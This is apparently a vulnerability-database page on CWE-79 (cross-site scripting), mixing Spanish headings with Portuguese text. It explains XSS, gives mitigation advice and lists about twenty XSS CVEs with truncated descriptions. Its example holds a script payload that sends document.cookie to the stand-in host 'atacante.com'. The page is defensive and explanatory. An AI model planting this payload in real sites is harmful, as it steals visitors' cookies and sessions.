Fallos del tipo CWE-79

28.667 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-40785MEDIUMThis issue was addressed with improved checks. This issue is fixed in Safari 17.6, iOS 16.7.9 and iPadOS 16.7.9, iOS 17.6 and iPadOS 17.6, mEPSS 0.8%CVE-2024-40511HIGHCross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMServerAdmiEPSS 0.8%CVE-2025-34032MEDIUMMoodle LMS Jmol Plugin Cross-site Scripting (XSS)EPSS 0.8%CVE-2020-7015—Kibana versions before 6.8.9 and 7.7.0 contains a stored XSS flaw in the TSVB visualization. An attacker who is able to edit or create a TSVEPSS 0.8%CVE-2022-3223MEDIUMCross-site Scripting (XSS) - Stored in jgraph/drawioEPSS 0.8%CVE-2021-4358HIGHWP DSGVO Tools (GDPR) <= 3.1.23 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.8%CVE-2022-23552HIGHGrafana stored XSS in FileUploader component EPSS 0.8%CVE-2024-44779HIGHA reflected cross-site scripting (XSS) vulnerability in the viewname parameter in the index page of vTiger CRM 7.4.0 allows attackers to exeEPSS 0.8%CVE-2023-47777MEDIUMWordPress WooCommerce and WooCommerce Blocks plugins - Auth. Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2019-3747HIGHDell EMC Integrated Data Protection Appliance versions prior to 2.3 contain a stored cross-site scripting vulnerability. A remote malicious EPSS 0.8%CVE-2025-61623MEDIUMApache OFBiz: Reflected Cross-site ScriptingEPSS 0.8%CVE-2023-28836MEDIUMWagtail vulnerable to stored Cross-site Scripting attack via ModelAdmin viewsEPSS 0.8%CVE-2017-9276MEDIUMXSS Vulnerability in iManagerEPSS 0.8%CVE-2020-10776—A flaw was found in Keycloak before version 12.0.0, where it is possible to add unsafe schemes for the redirect_uri parameter. This flaw allEPSS 0.8%CVE-2022-46165MEDIUMCross-site Scripting (XSS) in Web GUI in syncthingEPSS 0.8%CVE-2026-0594MEDIUMList Site Contributors <= 1.1.8 - Reflected Cross-Site Scripting via alphaEPSS 0.8%CVE-2022-1445CRITICALStored Cross Site Scripting vulnerability in the checked_out_to parameter in snipe/snipe-itEPSS 0.8%CVE-2024-11381MEDIUMControl horas <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.8%CVE-2020-29029HIGHXSS issue due to insufficient sanitization of input fieldEPSS 0.8%CVE-2022-0889HIGHNinja Forms - File Uploads Extension <= 3.3.12 - Reflected Cross-Site ScriptingEPSS 0.8%